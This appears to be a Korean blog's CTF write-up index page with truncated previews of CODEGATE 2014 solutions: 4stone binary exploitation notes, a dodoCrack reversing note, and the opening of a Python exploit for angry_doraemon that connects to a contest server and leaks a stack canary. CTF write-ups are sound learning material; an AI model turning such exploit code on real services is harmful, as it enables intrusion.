본문 바로가기
반응형

Security/[게임] CTF 풀이56

[exploit] CODEGATE2014 4stone writeup 로컬 서버에 접속을 해서 컴퓨터와 4목을 두는 바이너리!! (이기는 로직을 알기 전까지는 컴터가 잘하더라구요ㅜㅜ 많이 졌음...ㄷㄷ) 다음 그림은 헥스레이로 분석한 소스인데요. 1차적으로 if( !v11 ), 게임을 0초만에 이겨야지 안쪽으로 진행할 수 있습니다. 그 다음은 a1, 즉 argc가 2개이면 scanf로 또 한번의 입력을 받는데 입력받은 값은 0x8040000과 0xB0000000 이 되면 안됩니다. eax : 2번째 인자로 입력한 값. edx : 게임에서 이긴 후 scanf로 입력받은 값 즉, argv[1]에 입력받은 곳에 edx를 입력합니다. Segmentation fault가 뜬 곳을 보면 0x5662015a로 리턴을 하려는 것을 볼 수 있습니다. 즉, [EAX]+ 0xbab04으로 r.. 2014. 2. 26.
[풀이모음]CODEGATE2014 writeup http://sec.yka.me/ctf/writeup/2014/codegatequal 문제별로 풀이가 적힌 사이트가 잘 정리되어있습니ㅏㄷ. 2014. 2. 25.
[Reversing] CODEGATE2014 dodoCrack writeup 풀었다고 하기엔 운이 좋았다고 생각해요...ㄷㄷ 일단 코드는 64bit 환경에서 만들어진 ELF파일이고 모든 심볼이 다 날라간 상태, IDA로 열어도 제대로 분석을 못합니다. 밑으로 내려가다 보면 다음과 같은 코드가 반복적으로 있어서 gdb로 좀 후반부 아무 곳이나 Break point를 잡고 rbp메모리를 보니까 flag가 박혀있네요...아마 프로그램 시작할때 어떤 연산을 하면서 rbp에 값을 입력한듯합니다. 그 루틴은 따로 찾지 못했는데..한번정도 찾아보는것도 재밌을거에요:D 2014. 2. 25.
[exploit] CODEGATE2014 angry_doraemon writeup #!/usr/bin/env python import struct, socket, string def conn(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('58.229.183.18', 8888)) while True: st = s.recv(1000) if 'Give up\n>' in st: break s.send('4') s.recv(1024)#.encode('hex') return s def canary(s): s.send('y'*10 + ':') data = s.recv(1024) canary = data.split(':')[1][:3] print data.split(canary)[1].encode('hex') dummy =.. 2014. 2. 25.
728x90